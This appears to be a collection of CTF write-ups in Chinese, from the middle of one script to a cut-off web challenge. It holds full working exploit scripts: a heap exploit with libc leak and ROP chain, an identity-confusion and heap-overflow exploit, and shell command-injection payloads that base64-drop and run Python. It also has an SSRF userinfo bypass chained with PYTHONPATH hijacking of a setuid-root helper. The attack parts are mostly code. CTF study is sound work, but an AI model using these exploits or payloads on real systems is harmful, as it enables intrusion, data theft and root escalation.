        except (json.JSONDecodeError, UnicodeDecodeError):
            value = data
        if status != 200:
            preview = data[:160] if isinstance(data, bytes) else value
            raise RuntimeError(f"{method} {path}: HTTP {status}: {preview!r}")
        return value

    def req_retry(self, method, path, body=b"", content_type=None, attempts=30, delay=2.0):
        last_error = None
        for attempt in range(1, attempts + 1):
            try:
                return self.req(method, path, body, content_type)
            except Exception as error:
                text = str(error)
                transient = (
                    isinstance(error, (OSError, http.client.HTTPException))
                    or "HTTP 502" in text
                    or "HTTP 503" in text
                    or "HTTP 504" in text
                )
                if not transient or attempt == attempts:
                    raise
                last_error = error
                print(
                    f"[-] transient failure on {method} {path} "
                    f"({attempt}/{attempts}): {error}",
                    flush=True,
                )
                time.sleep(delay)
        raise RuntimeError(last_error)

    def setup(self, backup, attempts=30, delay=2.0):
        config = dict(line.split(b"=", 1) for line in backup.splitlines() if b"=" in line)
        form = urllib.parse.urlencode({
            "username": config[b"admin_user"].decode(),
            "password": config[b"admin_password"].decode(),
        })
        self.req_retry(
            "POST",
            "/api/login",
            form,
            "application/x-www-form-urlencoded",
            attempts,
            delay,
        )

        dispatch = self.req_retry(
            "GET", "/api/service/dispatch", attempts=attempts, delay=delay
        )
        envelope = bytearray.fromhex(dispatch["review_envelope"])
        envelope[27] ^= 1
        self.req_retry(
            "POST",
            "/api/service/dispatch",
            envelope.hex(),
            "text/plain",
            attempts,
            delay,
        )

    def create(self, data):
        return self.req("POST", "/api/service/jobs", data, "application/octet-stream")["id"]

    def cancel(self, job_id):
        self.req("POST", f"/api/service/jobs/{job_id}/cancel")

    def receipt(self, job_id):
        value = self.req("GET", f"/api/service/jobs/{job_id}/receipt")
        return int(value["record_tag"], 16)

    def revision(self, job_id, data):
        if len(data) != 3:
            raise ValueError("revision primitive requires exactly three bytes")
        self.req(
            "POST",
            f"/api/service/jobs/{job_id}/revision",
            data,
            "application/octet-stream",
        )

    def evidence(self, job_id, data):
        self.req(
            "POST",
            f"/api/service/jobs/{job_id}/evidence",
            data,
            "application/octet-stream",
        )


def wait_ready(client, attempts, delay):
    last_error = None
    for attempt in range(1, attempts + 1):
        try:
            backup = client.req("GET", "/cgi-bin/config-backup.bin")
            if not isinstance(backup, bytes) or b"admin_user=" not in backup:
                raise RuntimeError("configuration backup validation failed")
            print(f"[+] backend is ready (probe {attempt})", flush=True)
            return backup
        except Exception as error:
            last_error = error
            print(f"[-] probe {attempt}/{attempts}: {error}", flush=True)
            if attempt != attempts:
                time.sleep(delay)
    raise RuntimeError(f"target did not become ready: {last_error}")


def exploit(client, backup, setup_attempts, setup_delay):
    client.setup(backup, setup_attempts, setup_delay)
    print("[+] authenticated and review role enabled", flush=True)

    a = client.create(b"A" * 16)
    b = client.create(b"B" * 16)
    client.cancel(a)
    mask_a = client.receipt(a)
    client.cancel(b)
    encoded_a = client.receipt(b)
    address_a = recover_first(mask_a, encoded_a, 0xA0)

    client.req("POST", "/api/service/snapshots")
    client.req("POST", "/api/service/snapshots")
    pie = client.receipt(a) - 0x5270
    print(f"[+] PIE  = {pie:#x}", flush=True)

    c = client.create(b"C" * 16)
    d = client.create(b"D" * 16)
    client.cancel(c)
    mask_c = client.receipt(c)
    client.cancel(d)
    client.receipt(d)
    client.revision(d, p64(address_a ^ mask_c)[:3])

    client.create(b"X" * 16)
    fake = bytearray(64)
    fake[0:8] = p64(0x1122334455667788)
    fake[16:24] = p64(address_a)
    fake[24:29] = b"FAKE\0"
    overlap = client.create(fake)

    victim = client.create(b"V" * 300)
    client.create(b"G" * 300)
    client.cancel(victim)
    libc = client.receipt(victim) - 0x1D3CC0
    print(f"[+] libc = {libc:#x}", flush=True)

    def read64(address):
        probe = bytearray(64)
        probe[16:24] = p64(address)
        probe[24:29] = b"READ\0"
        client.evidence(overlap, probe)
        value = client.req("GET", "/api/service/snapshots")
        return int(value["trace_tag"], 16)

    stack = read64(libc + 0x1DB320)
    expected_libc_return = libc + 0x2724A
    expected_pie_value = pie + 0x2340

    candidate = stack - 0x120
    if (
        read64(candidate) == expected_libc_return
        and read64(candidate + 0x10) == expected_pie_value
    ):
        saved_main_return = candidate
    else:
        saved_main_return = None
        for address in range(stack - 0x500, stack, 8):
            if read64(address) != expected_libc_return:
                continue
            if read64(address + 0x10) == expected_pie_value:
                saved_main_return = address
                break
        if saved_main_return is None:
            raise RuntimeError("main stack frame was not found")

    main_rsp = saved_main_return - 0x37E8
    stack_target = main_rsp - 0x10
    print(f"[+] stack target = {stack_target:#x}", flush=True)

    path_holder = bytearray(80)
    path_holder[16:24] = p64(address_a)
    path_holder[24:29] = b"HOLD\0"
    path_holder[64:70] = b"/flag\0"
    client.evidence(overlap, path_holder)

    ma = client.create(b"a" * 288)
    mb = client.create(b"b" * 288)
    client.cancel(ma)
    mask_ma = client.receipt(ma)
    client.cancel(mb)
    encoded_ma = client.receipt(mb)
    address_ma = recover_first(mask_ma, encoded_ma, 0x130)

    client.create(b"x" * 288)
    active_alias = client.create(b"v" * 288)

    mc = client.create(b"c" * 288)
    md = client.create(b"d" * 288)
    client.cancel(mc)
    mask_mc = client.receipt(mc)
    client.cancel(md)
    client.receipt(md)
    address_mc = recover_first(mask_mc, client.receipt(md), 0x130)
    address_md = address_mc + 0x130
    encoded_victim = address_ma ^ (address_md >> 12)
    client.revision(md, p64(encoded_victim)[:3])

    client.create(b"p" * 288)
    alias = client.create(b"q" * 288)
    filler = client.create(b"f" * 288)
    client.cancel(filler)
    client.cancel(alias)

    encoded_stack = stack_target ^ (address_ma >> 12)
    client.evidence(active_alias, p64(encoded_stack))
    client.create(b"z" * 288)

    pop_rdi = libc + 0x277E5
    pop_rsi = libc + 0x28F99
    pop_rdx = libc + 0xFDF0D
    ret = libc + 0x26E99
    xchg_edi_eax = libc + 0x141DCC
    libc_open = libc + 0xF7FC0
    libc_read = libc + 0xF82A0
    libc_write = libc + 0xF8340
    scratch = pie + 0x23000
    flag_path = address_a + 64

    chain = [
        0xDEADBEEFDEADBEEF,
        pop_rdi, 6,
        pop_rsi, flag_path,
        pop_rdx, 8,
        ret, libc_write,
        pop_rdi, flag_path,
        pop_rsi, 0,
        ret, libc_open,
        xchg_edi_eax,
        pop_rsi, scratch,
        pop_rdx, 0x100,
        libc_read,
        pop_rdi, 6,
        pop_rsi, scratch,
        pop_rdx, 0x100,
        ret, libc_write,
        0,
    ]
    rop = b"".join(p64(value) for value in chain).ljust(288, b"\0")
    result = client.req("POST", "/api/service/jobs", rop, "application/octet-stream")
    if not isinstance(result, bytes):
        result = json.dumps(result).encode()

    match = re.search(rb"[A-Za-z0-9_]{2,32}\{[^}\r\n]{1,256}\}", result)
    if not match:
        raise RuntimeError(f"ROP completed but no flag was found: {result[:300]!r}")
    return match.group(0).decode(errors="replace")


def parse_args():
    parser = argparse.ArgumentParser(description="Pending Review exploit")
    parser.add_argument("host", nargs="?", default="47.76.163.18")
    parser.add_argument("port", nargs="?", type=int, default=18080)
    parser.add_argument("--timeout", type=float, default=30.0)
    parser.add_argument(
        "--proxy",
        default=os.environ.get("HTTP_PROXY", ""),
        help="HTTP proxy; defaults to HTTP_PROXY",
    )
    parser.add_argument("--direct", action="store_true", help="ignore HTTP_PROXY")
    parser.add_argument("--wait-attempts", type=int, default=30)
    parser.add_argument("--wait-delay", type=float, default=2.0)
    return parser.parse_args()


def main():
    args = parse_args()
    proxy = "" if args.direct else args.proxy
    client = Client(args.host, args.port, args.timeout, proxy)
    backup = wait_ready(client, args.wait_attempts, args.wait_delay)
    flag = exploit(client, backup, args.wait_attempts, args.wait_delay)
    print(f"[FLAG] {flag}")


if __name__ == "__main__":
    main()

16. Handoff

协议恢复

消息认证码使用 HMAC-SHA256,每个字段按四字节大端长度加字段内容编码。
完整认证流程为:

REGISTER -> CHAL -> AUTH -> OPEN -> ACCESS

各标签依次为 CHL、ATH、IAS、RTY、RNW、CLS。身份断言绑定
id、ns、exp;RENEW 计数器从 1 开始,note 最长 8 字节。

RETRY 身份语义裂缝

RETRY 校验时使用会话原展示身份及其长期密钥重建 MAC,但校验成功后直接把
请求中的 id 写入展示身份。设原身份为 A,构造如下:

request.id = ops
rtag = HMAC(K_A, LP("RTY", A, sid))

会话的展示身份变成 ops,认证断言绑定身份仍为 A。MIGRATE 门控只检查
展示身份,因此可以用普通注册用户进入迁移通道。

migd 内存漏洞

通过 hist 的负偏移读取恢复出迁移记录与 migd 代码。每条记录的关键布局为:

+0x08  identity[16]
+0x18  assertion[64]
+0x58  raw_history
+0x60  compact_view
+0x68  history_count
+0x6c  committed

export 为原始历史分配 count * 16 字节,却只为紧凑视图分配
min(count, 16) * 16 字节。hist 每次都会把全部历史整理到紧凑视图:先写入
count 个八字节时钟,再写入 count 个八字节 note。

令 count=19,紧凑视图只分配 0x100 字节,hist 实际写入 0x130
字节。连续 export 消耗对应 tcache 后,紧凑视图与 0x90 大小的迁移记录相邻。
note 使用以下布局:

note[13] = 0                         # 下一块 prev_size
note[14] = p64(0x91)                 # 下一块 size
note[15] = 0                         # 记录编号与状态
note[16] = b"flagadmi"
note[17] = b"n\0\0\0\0\0\0\0"
note[18] = 0

hist 后,记录的 identity[16] 变为 flagadmin。commit 直接把记录身份回填到
会话,不重新验证身份断言,随后 ACCESS(sid, flagadmin) 返回受保护资源。

Exp

#!/usr/bin/env python3
import hashlib
import hmac
import json
import secrets
import socket
import ssl
import struct
import sys
import time


def lp(*fields):
    result = bytearray()
    for field in fields:
        if isinstance(field, int):
            field = str(field)
        if isinstance(field, str):
            field = field.encode()
        result += struct.pack(">I", len(field)) + field
    return bytes(result)


def mac(key_hex, *fields):
    return hmac.new(bytes.fromhex(key_hex), lp(*fields), hashlib.sha256).hexdigest()


class Client:
    def __init__(self, host, port):
        raw = socket.create_connection((host, port), timeout=10)
        raw.settimeout(15)
        if host.endswith(".cyberpeace.cn"):
            raw = ssl._create_unverified_context().wrap_socket(raw, server_hostname=host)
            raw.settimeout(15)
        self.sock = raw
        self.io = raw.makefile("rwb", buffering=0)

    def request(self, message):
        wire = json.dumps(message, separators=(",", ":")).encode() + b"\n"
        self.io.write(wire)
        line = self.io.readline()
        if not line:
            raise RuntimeError("connection closed")
        response = json.loads(line)
        if not response.get("ok"):
            raise RuntimeError(response)
        return response


def exploit(host, port):
    client = Client(host, port)
    identity = "x" + secrets.token_hex(3)
    sid = "s" + secrets.token_hex(5)

    registered = client.request({"op": "REGISTER", "id": identity})
    challenge = client.request({"op": "CHAL", "id": identity})
    assertion = client.request({
        "op": "AUTH",
        "id": identity,
        "ns": challenge["ns"],
        "tag": mac(registered["key"], "ATH", identity, challenge["ns"]),
    })
    client.request({
        "op": "OPEN",
        "id": identity,
        "sid": sid,
        "ns": challenge["ns"],
        "exp": assertion["exp"],
        "assertion": assertion["assertion"],
    })

    crafted_notes = {
        15: "9100000000000000",
        17: "666c616761646d69",
        18: "6e00000000000000",
    }
    for counter in range(1, 20):
        client.request({
            "op": "RENEW",
            "id": identity,
            "sid": sid,
            "rtag": mac(registered["key"], "RNW", sid, counter),
            "note_hex": crafted_notes.get(counter, "0000000000000000"),
        })

    client.request({
        "op": "RETRY",
        "id": "ops",
        "sid": sid,
        "rtag": mac(registered["key"], "RTY", identity, sid),
    })

    latest = None
    for _ in range(24):
        latest = client.request({
            "op": "MIGRATE", "sid": sid, "action": "export",
        })["record"]

    probe = client.request({
        "op": "MIGRATE", "sid": sid, "action": "hist",
        "record": latest, "off": 0x110, "len": 0x20,
    })
    leaked = bytes.fromhex(probe["data"])
    if leaked[8:17] != b"flagadmin":
        raise RuntimeError("heap layout miss")

    committed = client.request({"op": "MIGRATE", "sid": sid, "action": "commit"})
    if committed.get("identity") != "flagadmin":
        raise RuntimeError("identity overwrite failed")
    granted = client.request({"op": "ACCESS", "sid": sid, "id": "flagadmin"})
    resource = granted.get("resource", "")
    if "flag{" not in resource:
        raise RuntimeError("flag missing")
    print(resource, flush=True)
    return True


def main():
    host = sys.argv[1]
    port = int(sys.argv[2])
    for attempt in range(3):
        try:
            if exploit(host, port):
                return
        except Exception as exc:
            print(f"attempt {attempt + 1} failed: {exc}", file=sys.stderr, flush=True)
            time.sleep(1)
    raise SystemExit(1)


if __name__ == "__main__":
    main()

Flag:flag{qIHGEdek1XhrOpKTWq9aBTs8tSUi1gG250DFwQMa}


Reverse

17. Bootleg Update

Bootleg Update — Write-up

环境:http://<instance>.nestctf.cyberpeace.cn:58080(题目另给内网地址,外部不可达,只能走控制台)
指纹:Server: MimicIVIUpdate/74.00-lab Python/3.11.17
凭据:service.engineer@mimic-ivi.test / Mimic-Update-2026
结果:flag{FcUifUHkVahg4906IYjwmZYrMkGOKmtkX1XjNkNE}

0. 剧情 ↔ 事实

剧情 事实
部署“完成” update_engine.log 里 VIP 走 verification=compatibility legacy=yes,跳过哈希校验
Secondary ECU 身份不符 VIP_B 分区 sha256 = 4e56a1aa…,省批目标是 5f8d2f4c…
更新主机留了部署记录 /app/incident/ 下:eMMC 快照、两个 .bup 包、targets/manifest、引擎日志、AArch64 校验器
秘密藏在更新证据里 VIP_B 镜像内的 DREC 诊断记录(加密)

1. 侦察

GET / 是 Vue SPA,API 全在 /api/v1/:login/logout/session、workspace、vehicles、deployments、releases、cases、audit、PATCH cases/<id>、GET cases/<id>/partition-map、POST update/scan。

workspace 直接自曝扫描器策略:

"scanner": {"default_path":"/app/public/sample_update.up","accepted_suffix":".up","service":"removable-media-inspector"}

cases/<id>/partition-map 下载到的 eMMC 分区表是后面所有二进制分析的说明书:

区域 范围 说明
BOOTCTRL 0x0000–0x1000 0x40 字节冗余启动控制记录
IVI_A / IVI_B 0x1000–0x4000 / 0x4000–0x7000 主控 A/B
VIP_A / VIP_B 0x7000–0x9000 / 0x9000–0xb000 辅助控制器 A/B(各 8192B)
NAV_ASSET 0xb000–0xc000 导航资源
VERSION_JOURNAL 0xc000–0xd000 0x20 字节追加条目
spare 0xd000–0x10000 已擦除

并注明:多字节小端;BOOTCTRL 与 VERSION_JOURNAL 条目尾部是 CRC-32/IEEE;“实现相关元数据可能因 VIP 镜像不同”——DREC 的伏笔。

2. 漏洞:介质检查器的命令注入

正常扫描返回 exit_code + 裸的 unzip -l 输出,说明后端起子进程且路径进了 shell。盲打 ; 失败,但错误报文把整条 payload 当文件名回显,且引号被吞、\{→{ 而 \( 保留——用本地 dash 复现 sh -c "unzip -l '<path>'" 与靶机逐字节一致,确认形态:

subprocess.run(f"unzip -l '{media_path}'", shell=True)

绕过:自己闭合单引号,末尾用 # 吃掉 app 补的收尾引号(同时保住 .up 后缀校验):

payload = "/app/public/sample_update.up';exec 2>&1;id;ls -la /app/incident;#.up"

少了 # 会因引号不配对整行语法错误(Unterminated quoted string),一条命令都不会执行。

三个实战坑:① media_path 上限 1024 字节(超长报 400 update_path_must_end_in_up,脚本先 base64 再落地执行);② 扫描配额(约 3~4 次后 429 scan_limit,换 token 无效);③ 服务是单线程 http.server,并发即挂。所以每次扫描都要“一次到位”,用压缩回传:

payload = "/app/public/sample_update.up';exec 2>&1;echo B64|base64 -d >/tmp/e.py;python3 /tmp/e.py;#.up"

3. 证据与真凶

/app/incident/:director_targets.json、image_targets.json、vehicle_version_manifest.json、emmc_snapshot.bin(64K)、field_4.1.3.bup、factory_4.1.2.bup、update_engine.log、update_guard(AArch64 ELF,x86 容器里跑不了)。

  • targets 对同一目标一致:vip/VIP-CTRL-07/vip-fw-2.8.6.bin,length=8192,sha256=5f8d2f4c…,custom.diagnostic_offset=640;
  • VIP_B 区段 sha256 = 4e56a1aa… = 案件 reported_sha256;
  • field_4.1.3.bup 里 vip_b 记录(relative 12544)sha256 也是 4e56a1aa… → 不是设备被换,而是部署包本身是 bootleg;
  • 省批哈希 5f8d2f4c… 在快照与两个包里都不存在(对 BUP2 做全偏移 8KB 窗口 sha256 滚动搜索,零命中);
  • 日志 target=vip_b … verification=compatibility legacy=yes → 兼容策略跳过校验,BUP2 记录的 flags legacy 位(bit0=0/bit1=1)印证。

4. 读懂快照(结构 + CRC)

# BOOTCTRL: 0x40 步长,crc32([0:28]) 在 +28
#  BTCT | seq(u32@+4) | slot 字母@+9 | journal head(u32@+12) | boot nonce(u32@+20)
# VERSION_JOURNAL: 0x20 步长
#  VREC | seq@+4 | 组件号@+8(=2 即 VIP) | slot@+12 | version@+16 | release@+20 | nonce@+24
# DREC: 位于 partition_start + diagnostic_offset(640)
#  "DREC" | schema:u16 | ct_len:u16 | version:u32 | nonce:u32 | crc32(明文):u32 | 密文

取法(关键片段):

valid = lambda raw: crc32(raw[:28]) == struct.unpack_from("<I", raw, 28)[0]
boots = [(u32(flash, o+4), o) for o in range(0, 0x1000, 0x40)
         if valid(flash[o:o+32]) and flash[o:o+4] == b"BTCT" and chr(flash[o+9]) == "B"]
boot_seq, boot_off = max(boots)                      # → seq 88, 0x40
boot_nonce = u32(flash, boot_off + 20)               # 0x5d62196e
journal_head = u32(flash, boot_off + 12)             # 5
jrecs = [(u32(flash,o+4), o) for o in range(0xC000, 0xD000, 0x20)
         if valid(flash[o:o+32]) and u32(flash,o+8) == 2 and chr(flash[o+12]) == "B"]
jseq, joff = max(jrecs)                              # → seq 5 == journal_head
jnonce, release, jver = u32(flash,joff+24), u32(flash,joff+20), u32(flash,joff+16)

即:有效启动记录 = B 槽(seq 88)、journal 头 = 5、VIP 记录 = 2.8.6(release 42),与案件结论闭合。

5. 解密 DREC

解法来源:ctf 用户可读的 flag 注入脚本(题目把算法留在了现场)。核心:

DIAG_BOX = bytes.fromhex("819fb429ed630ad51c72c84ea638f157")

def diag_crypt(data, version, nonce, release, ecu, install_binding):
    st = (nonce ^ version ^ 0x6D2B79F5 ^ crc32(ecu.encode()) ^ rol32(release,5) ^ install_binding) & M32
    out = bytearray()
    for i, v in enumerate(data):
        lane = i & 15
        key  = rol8(DIAG_BOX[lane] ^ ((0x5D + 11*lane) & 0xFF), lane % 7)
        st ^= (st << 13) & M32; st ^= st >> 17; st ^= (st << 5) & M32
        st  = (st + key + i*0x9E37) & M32
        out.append(v ^ ((st >> ((i & 3)*8)) & 0xFF) ^ rol8(key, i & 7))
    return bytes(out)

install_binding = rol32(boot_nonce ^ jnonce ^ boot_seq ^ jseq, 11)
pt = diag_crypt(ciphertext, dver, dnonce, release, "VIP-CTRL-07", install_binding)

参数全部来自快照自身:drec_version == jver == 0x00020806、drec_nonce = 0xc0dec0de(= manifest 里 VIP 的 nonce)、release = 42、ecu_serial = VIP-CTRL-07。

6. 结果与校验

VIP_A -> VIP_DIAG|ecu=aux-ctrl|slot=A|result=CLEAN|token=retired_slot_only|end
VIP_B -> VIP_DIAG|ecu=aux-ctrl|slot=B|result=AUTH_GAP|flag{...}|end

三重独立校验:① 明文 crc32 == DREC 头里存的 crc32(明文)(0xcbd882e3);② sha256("bootleg-install-binding\0"+flag) 前 8 字节 = 0x5d62196e 0x979a0366,正好等于快照回写的两个 nonce(与 flag 强绑定);③ A 槽解出 result=CLEAN / retired_slot_only 诱饵,印证只有 B 被动过。

FLAG

flag{FcUifUHkVahg4906IYjwmZYrMkGOKmtkX1XjNkNE}

18. Wasmnesia

信息收集与正式制品

使用题目给出的账号登录后,前端会读取插件部署、生产运行、数据源和支持制品。目标运行是 job-f1234001,当前插件为 ledger-shift@3.7.1,生产主机为 linux/aarch64。支持制品中有一个 ARM64 ELF:edge_context_diag_aarch64。

数据源连接诊断会请求 http://preview.reports.local/catalog/roadrunner-q3,返回正式导出的缓存信息:

authority=127.0.0.1:9090
artifact_path=/internal/v1/artifacts/runs/job-f1234001/formal.wexp

连接器先检查原始字符串是否以 http://preview.reports.local 开头,随后才用标准 URL 解析器确定真实主机。因此可以把允许的域名放进 userinfo:

http://preview.reports.local@127.0.0.1:9090/internal/v1/artifacts/runs/job-f1234001/formal.wexp

原始字符串通过前缀检查,解析后的 hostname 是允许访问的 127.0.0.1,最终取得 formal.wexp。

WEXP、WASM 与 ARM64 上下文

WEXP 使用 80 字节头部:

0x00  magic = WEXP
0x04  version = 2
0x06  block_size = 64
0x08  block_count = 17
0x0c  job_id
0x10  tenant_tag
0x14  plugin_rev
0x18  batch_base
0x1c  flags = 3
0x20  插件 SHA-256 前 16 字节
0x30  ARM64 主机 SHA-256 前 16 字节
0x40  原始 EdgeIPC SHA-256 前 16 字节
0x50  17 个加密块

WASM 只有三个函数。mix32 的完整逻辑为:

x = x + lane * 0x9e3779b9
x ^= rol32(x, 13)
x *= 0x85ebca6b
x ^= x >> 16
x = rol32(x, 7) + 0xc2b2ae35

derive_seed 读取六个 32 位上下文字段:

seed = mix32(
    low
    ^ rol32(high, 11)
    ^ rol32(job_id, 3)
    ^ tenant_tag * 0x27d4eb2d
    ^ 0x5741534d,
    plugin_rev
)

transform_batch 根据种子生成块步长、起始块和块内旋转:

stride = (mix32(seed, 0) & 15) + 1
first  = mix32(seed, 1) % block_count
rotate = mix32(seed, 2) & 63

第 i 个输出块的第 j 个字节为:

source_block  = (i * stride + first) % block_count
source_offset = (j * 13 + rotate) & 63
output[i][j]  = input[source_block][source_offset]
                ^ (mix32(seed, i * 64 + j) & 0xff)

逐项反填即可逆转,不需要爆破。

浏览器预览只计算 low,并把 high 写成 0。ARM64 诊断程序中的上下文构造函数同时返回两个 32 位字:

low = rol32((job_id * 0x045d9f3b + tenant_tag) ^ 0xa17c9e2d, plugin_rev)

high = plugin_rev * 0x9e3779b1
       ^ rol32(tenant_tag, 7)
       ^ (batch_base - job_id) * 0x1f123bb5
high += 0x6d2b79f5

本次运行得到:

low          = 0x27320a09
high         = 0x68998b27
derived_seed = 0x3db00f2d

用这组 ARM64 上下文逆转后得到 EIPC 魔数,恢复结果的 SHA-256 前 16 字节也与 WEXP 头部完全一致。浏览器上下文得到的种子为 0xaea26e3f,无法恢复正式制品。

EdgeIPC 与红驱接口

EdgeIPC 头部给出时间戳表、等级表、字符串偏移表和字符串区的位置。解析 12 条记录后得到关键数据:

redrive_endpoint=/api/v1/operations/redrives
execution_id=job-f1234001 generation=6
input_sha256=a8005c06ae4acb79365538573a5269b802273166571b64dffeb807a512564e4a
profile=archive-jsonl processor=edge-post
health_attestation=edge-health/2

红驱接口校验执行编号、代数和输入摘要,随后构造命令:

/usr/local/bin/edge-post --input <临时文件> --profile <profile>

profile 未经过 shell 转义,分号可以追加命令。进一步检查 edge-health 可执行文件发现它带有 setuid root 位,执行流程为:

setgid(0)
setuid(0)
chdir("/app/workspace")
setenv("PYTHONPATH", "/app/workspace:/opt/edge", 1)
execl("/usr/bin/python3", "python3", "-c",
      "import edge_health; edge_health.run()", NULL)

/app/workspace 对低权限用户可写,并且排在 PYTHONPATH 首位。通过命令注入写入同名 edge_health.py,定义 run() 读取 /root/flag,再调用 setuid 包装器即可取得 flag。执行结束后删除临时模块。

Exp

#!/usr/bin/env python3
from __future__ import annotations

import argparse
import base64
import hashlib
import json
import re
import struct
import time
import urllib.error
import urllib.request

MASK32 = 0xFFFFFFFF


def u32(value: int) -> int:
    return value & MASK32


def rol32(value: int, count: int) -> int:
    count &= 31
    value &= MASK32
    return u32((value << count) | (value >> ((32 - count) & 31)))


def mix32(value: int, lane: int) -> int:
    value = u32(value + u32(lane * 0x9E3779B9))
    value ^= rol32(value, 13)
    value = u32(value * 0x85EBCA6B)
    value ^= value >> 16
    return u32(rol32(value, 7) + 0xC2B2AE35)


def arm64_context(job: int, tenant: int, revision: int, batch: int) -> tuple[int, ...]:
    low = rol32(u32(job * 0x045D9F3B + tenant) ^ 0xA17C9E2D, revision)
    high = (
        u32(revision * 0x9E3779B1)
        ^ rol32(tenant, 7)
        ^ u32((batch - job) * 0x1F123BB5)
    )
    high = u32(high + 0x6D2B79F5)
    return low, high, job, tenant, revision, batch


def derive_seed(context: tuple[int, ...]) -> int:
    low, high, job, tenant, revision, _batch = context
    value = (
        low
        ^ rol32(high, 11)
        ^ rol32(job, 3)
        ^ u32(tenant * 0x27D4EB2D)
        ^ 0x5741534D
    )
    return mix32(value, revision)


def invert_transform(ciphertext: bytes, blocks: int, context: tuple[int, ...]) -> bytes:
    if len(ciphertext) != blocks * 64:
        raise ValueError("invalid transformed payload length")
    seed = derive_seed(context)
    stride = (mix32(seed, 0) & 15) + 1
    first_block = mix32(seed, 1) % blocks
    byte_rotation = mix32(seed, 2) & 63
    plaintext = bytearray(len(ciphertext))
    for output_block in range(blocks):
        input_block = (output_block * stride + first_block) % blocks
        for output_offset in range(64):
            input_offset = (output_offset * 13 + byte_rotation) & 63
            stream = mix32(seed, output_block * 64 + output_offset) & 0xFF
            plaintext[input_block * 64 + input_offset] = (
                ciphertext[output_block * 64 + output_offset] ^ stream
            )
    return bytes(plaintext)


def unpack_formal_export(blob: bytes) -> bytes:
    if len(blob) < 80:
        raise ValueError("truncated WEXP")
    magic, version, block_size, blocks, job, tenant, revision, batch, flags = (
        struct.unpack_from("<4sHHIIIIII", blob, 0)
    )
    if (magic, version, block_size, flags) != (b"WEXP", 2, 64, 3):
        raise ValueError("unexpected WEXP header")
    ciphertext = blob[80:]
    raw = invert_transform(
        ciphertext, blocks, arm64_context(job, tenant, revision, batch)
    )
    if hashlib.sha256(raw).digest()[:16] != blob[64:80]:
        raise ValueError("recovered EdgeIPC digest mismatch")
    return raw


def parse_edge_ipc(raw: bytes) -> list[str]:
    if raw[:4] != b"EIPC" or struct.unpack_from("<HH", raw, 4) != (1, 64):
        raise ValueError("invalid EdgeIPC header")
    rows = struct.unpack_from("<I", raw, 8)[0]
    _, _, offsets_offset, data_offset, data_length = struct.unpack_from(
        "<IIIII", raw, 28
    )
    offsets = struct.unpack_from(f"<{rows + 1}I", raw, offsets_offset)
    if offsets[0] != 0 or offsets[-1] != data_length:
        raise ValueError("invalid EdgeIPC string table")
    return [
        raw[data_offset + offsets[i] : data_offset + offsets[i + 1]].decode("utf-8")
        for i in range(rows)
    ]


class Client:
    def __init__(self, base: str):
        self.base = base.rstrip("/")
        self.token = ""

    def json(self, method: str, path: str, body: dict | None = None) -> dict:
        data = None if body is None else json.dumps(body).encode()
        headers = {"Content-Type": "application/json"}
        if self.token:
            headers["Authorization"] = f"Bearer {self.token}"
        request = urllib.request.Request(
            self.base + path, data=data, headers=headers, method=method
        )
        for attempt in range(3):
            try:
                with urllib.request.urlopen(request, timeout=15) as response:
                    return json.loads(response.read())
            except urllib.error.HTTPError as error:
                message = error.read().decode("utf-8", "replace")
                if error.code in (502, 503, 504) and attempt < 2:
                    time.sleep(attempt + 1)
                    continue
                raise RuntimeError(message or f"HTTP {error.code}") from error
            except urllib.error.URLError as error:
                if attempt < 2:
                    time.sleep(attempt + 1)
                    continue
                raise RuntimeError(str(error.reason)) from error
        raise RuntimeError("request failed after retries")


def main() -> None:
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "base_url",
        nargs="?",
        default="http://ee9bexs1.nestctf.cyberpeace.cn:58080",
    )
    args = parser.parse_args()
    client = Client(args.base_url)

    login = client.json(
        "POST",
        "/api/v1/login",
        {"username": "reviewer@edgeledger.test", "password": "Replay-Wasm-2026"},
    )
    client.token = login["token"]

    catalog_response = client.json(
        "POST",
        "/api/v1/connectors/fetch",
        {"url": "http://preview.reports.local/catalog/roadrunner-q3"},
    )
    catalog = json.loads(catalog_response["body"])
    formal = catalog["formal_export"]

    # The raw prefix check accepts the preview host in userinfo, while URL.hostname
    # and the HTTP client use the localhost authority after '@'.
    artifact_url = (
        f"http://preview.reports.local@{formal['authority']}"
        f"{formal['artifact_path']}"
    )
    artifact_response = client.json(
        "POST", "/api/v1/connectors/fetch", {"url": artifact_url}
    )
    artifact = json.loads(artifact_response["body"])
    raw = unpack_formal_export(base64.b64decode(artifact["export_b64"]))
    messages = parse_edge_ipc(raw)

    recovered: dict[str, str] = {}
    for message in messages:
        for item in message.split():
            if "=" in item:
                key, value = item.split("=", 1)
                recovered[key] = value

    module = (
        "from pathlib import Path\n"
        "def run():\n"
        " print(Path('/root/flag').read_text(encoding='utf-8').strip())\n"
    )
    module_b64 = base64.b64encode(module.encode()).decode()
    injected_profile = (
        recovered["profile"]
        + ";printf '"
        + module_b64
        + "'|base64 -d > /app/workspace/edge_health.py"
        + ";/usr/local/bin/edge-health"
        + ";rm -f /app/workspace/edge_health.py"
    )
    result = client.json(
        "POST",
        recovered["redrive_endpoint"],
        {
            "execution_id": recovered["execution_id"],
            "generation": int(recovered["generation"]),
            "input_sha256": recovered["input_sha256"],
            "profile": injected_profile,
        },
    )
    match = re.search(r"flag\{[^}\r\n]+\}", result["output"])
    if not match:
        raise RuntimeError("flag was not present in redrive output")
    print(match.group(0))


if __name__ == "__main__":
    main()

Flag

flag{DK7wK1a8tckryqaaahoKJmooNylRYVe4sumWR2P7}

Web

19. Ghost-in-the-Queue

题目结构

平台把订单、钱包、任务、履约、会员、对账、自动化中继和遥测拆成多个服务。HTTP 网关负责生成消息,后端服务通过 MQTT 消费消息。alice 对 tenant/alice/# 同时拥有订阅和发布权限,因此可以观察正常消息格式,再伪造来自网关或其他服务的事件。

最终需要收集六把 key。每把 key 对应一条独立的跨服务信任问题。

key1:重启后复用任务批准票据

提交普通任务后,可以在 tenant/alice/jobs/submit 看到内部信封,其中包含 job_id、role、type 和 approval_id。HTTP 网关会拒绝普通用户请求 get_key1,任务执行器则完全信任 MQTT 信封里的 role。

随机生成的 approval_id 会被执行器拒绝。提交允许普通用户执行的 restart 后,执行器使用该批准票据完成任务,同时重启过程清空内存中的“已用票据”集合。批准票据由另一个组件保存,因此重启后仍然存在。等待执行器恢复,再把同一个 approval_id 放入伪造信封,并将 role 改成 admin、type 改成 get_key1,即可得到 key1。

key2、key3、key4:重放入账与伪造订单事件

